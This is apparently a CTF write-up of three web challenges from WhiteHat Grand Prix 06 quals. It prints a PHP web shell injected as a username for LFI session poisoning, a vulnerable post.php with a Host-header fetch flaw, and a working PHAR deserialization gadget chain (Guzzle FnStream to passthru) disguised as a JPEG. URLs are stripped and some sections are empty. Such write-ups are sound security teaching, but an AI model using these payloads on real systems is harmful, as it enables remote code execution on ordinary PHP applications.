A writeup on web challenges solved during WhiteHat Grand Prix 06 - Quals CTF. I participated with team InfoSecIITR.

Web 1

The challenge was a To-Do service hosted at ​​. It allows users to register by choosing their usernames and a password. A user can then login with the same creds. We observed that all the pages were served through index.php with different page parameter in the query.

After various tries, we saw that it was an LFI, but only those paths which have one . in them can be included, which was verified by visiting Later to bypass this, a friend suggested prepending /./ to the path to access a file with no extensions. It is verified by visiting

Now to get RCE. we have to include a file controlled by us. As the image upload functionality wasn’t of any help as it converted image into base64. Later the focus shifted to session files in PHP which can be included from path /var/lib/php/sessions/sess_<session_id_value>. We included our current session and verified that it contained three values:

  • Loggedin: boolean
  • ID: Probably index value from DB
  • Username: the one with which we registered

So we registered a user with username <?php var_dump(system($_GET[cmd])); ?> and some random password. We logged in with the same, and our PHP Session ID was set to 0b26aqlpb2trh5ghf3i36sntlt. So by visiting the we can see the directory listing. The flag was in file fl4gggggggg.php and by visiting we get the flag.

Flag: WhiteHat{Local_File_Inclusion_bad_enough_??}

Web 2

The challenge was a post creation service hosted at It allows us to upload an image and create a post with any title, image name, and body. When viewing a post, it had a feature to rotate the image by any degree.

Quick Analysis

  • Comment in the source code mention flag is in the filesystem’s root. So LFI or RCE probably.
  • The image source was prepended with
  • theme parameter in the query.
  • Post ID was generated randomly.
  • Uploaded images were renamed to their md5 hash.
  • Uploaded images can be rotated. Probably PHP’s imagerotate memory leak bug.

The theme made us pursue the LFI part. It only allowed two values i.e., theme1.php and theme2.php. We accidentally discovered that sending no query parameters shows us the source code of the post.php.


$post = [];

function rotate_feature_img($post_id, $degrees) {
    $post = get_post($post_id);
    $src_file = $post['feature_img'];
    $ext = strtolower(pathinfo($src_file, PATHINFO_EXTENSION));
    $src_file = "uploads/" . $src_file;
    if ( !file_exists( $src_file ) ) {
        $base_url = "http://" . $_SERVER['HTTP_HOST'];
        $src = $base_url. "/" . $src_file;
    } else {
        $src = $src_file;
    try {
        $img = new Imagick($src);
        $img->rotateImage('white', $degrees);
    } catch (Exception $e) {
        die('fail to rotate image');

function get_title() {
    global $post;
    echo $post['title'];

function get_body() {
    global $post;
    echo $post['body'];

function get_img_src() {
    global $post;
    $base_url = "http://" . $_SERVER['HTTP_HOST'];
    echo $base_url."/uploads/".$post['feature_img'];

function check_theme($theme) {
    if(!in_array($theme, scandir('./themes'))) {
        die("Invalid theme!");

if (isset($_GET['post_id'])) {
    $post_id = $_GET['post_id'];
    global $post;
    $post = get_post($post_id);
    if (isset($_GET['theme'])) {
        $theme = $_GET['theme'];
    } else {
        $theme = 'theme1.php';
    echo("<button class='btn btn-primary' id='edit-btn'>Edit image</button>
<form action='post.php' method='post' width='50%'>
    <div class='form-group' id='edit-div'>
    <label for='exampleInputEmail1'>Degree</label>
    <input type='text' class='form-control' id='exampleInputEmail1' placeholder='90' name='degree'>
    <input type='hidden' class='form-control' id='exampleInputEmail2' value='$post_id' name='post_id'>
    <button type='submit' class='btn btn-primary'>Rotate</button>
else if (isset($_POST['post_id']) && isset($_POST['degree'])) {
    $post_id = $_POST['post_id'];
    rotate_feature_img($post_id, (int) $_POST['degree']);
    header("Location: /post.php?post_id=$post_id&theme=theme1.php");
} else {


We observed that ​$_SERVER​[​'HTTP_HOST'​] was being used with any validation. It is also understandable that if the image didn’t exist at the given path, which was generated by prepending uploads/ to the image name, then it will fetch that image from the ​$_SERVER​[​'HTTP_HOST'​]’s uploads/ path. This looked promising as we control the ​$_SERVER​[​'HTTP_HOST'​]. After fetching and rotating that image, it will save that image at the path generated by prepending uploads/ to the image name. As we were in full control of the image name. We can make it point to any directory. If we point it to themes directory then we can include the newly saved file.

Exploitation phase

Flag: WhiteHat{w0r6prEss_1s_!N_mY_H34r1}

Web 5

The CTF challenge was a service hosted at, which allowed to fetch images from any webpage and also had functionality that allowed us to upload images. The source code can be found at src.zip. In the fetchImage.php file, we see that there is a function that fetches images from a webpage. Upon quickly searching for some parts of this code, we arrived upon this HackerOne report ​here. The summary is that the function parsed the page and list all images mentioned in the page. An attacker can craft a special page that contains a link whose href value is set to the phar wrapper URL. The URL is then passed to function getimagesize​, which leads to code execution of phar’s metadata.

The task at hand remains to create phar with a gadget chain, which leads to command execution. The following gadgets are of interest.

  • FnStream in GuzzleHttp has a __destruct​ function that makes a call to call_user_func
  • FnStream in GuzzleHttp has a wr1t3​ function that has the following code:
    call_user_func($this->_fn_write, $this->_fn_writeString);

    This means that we can call any function with one parameter.

Generating PHAR file:

namespace GuzzleHttp\Psr7 {
    class FnStream
        public $_fn_close;
        public $_fn_write = 'passthru';
        public $_fn_writeString = 'cat /flag.txt';

namespace {

    $payload = new GuzzleHttp\Psr7\FnStream();
    $payload->_fn_close = array($payload, 'wr1t3');

    $phar = new Phar("exploit.phar");
    $phar->addFromString("example.file", "rand0m_content");
    $phar->setStub("<?php __HALT_COMPILER();");


    rename('exploit.phar', 'exploit.jpg');

We uploaded the exploit.jpg to the server and noted the path the image is saved on the challenge server. In this case, it was at s9ooers5vgfrd567v6j26pkk4f/4522e169b355cf2454459617.jpg

Now, we create a new index.html file, which we will serve on our host.

<!DOCTYPE html>

Next, when we submit the URL for our host in the “Fetch from URL” feature. It fetches the page and parses for images, which leads it to our phar wrapper URL, which then leads to the execution of payload, and we get the following output. We can see the flag.txt file. So we create the next exploit to get the contents of the flag.txt file.

Image 1:
Image 2:

Flag: WhiteHat{ph4r_d3_w1th_4_t1ny_b4ck_do0r_7fc88491}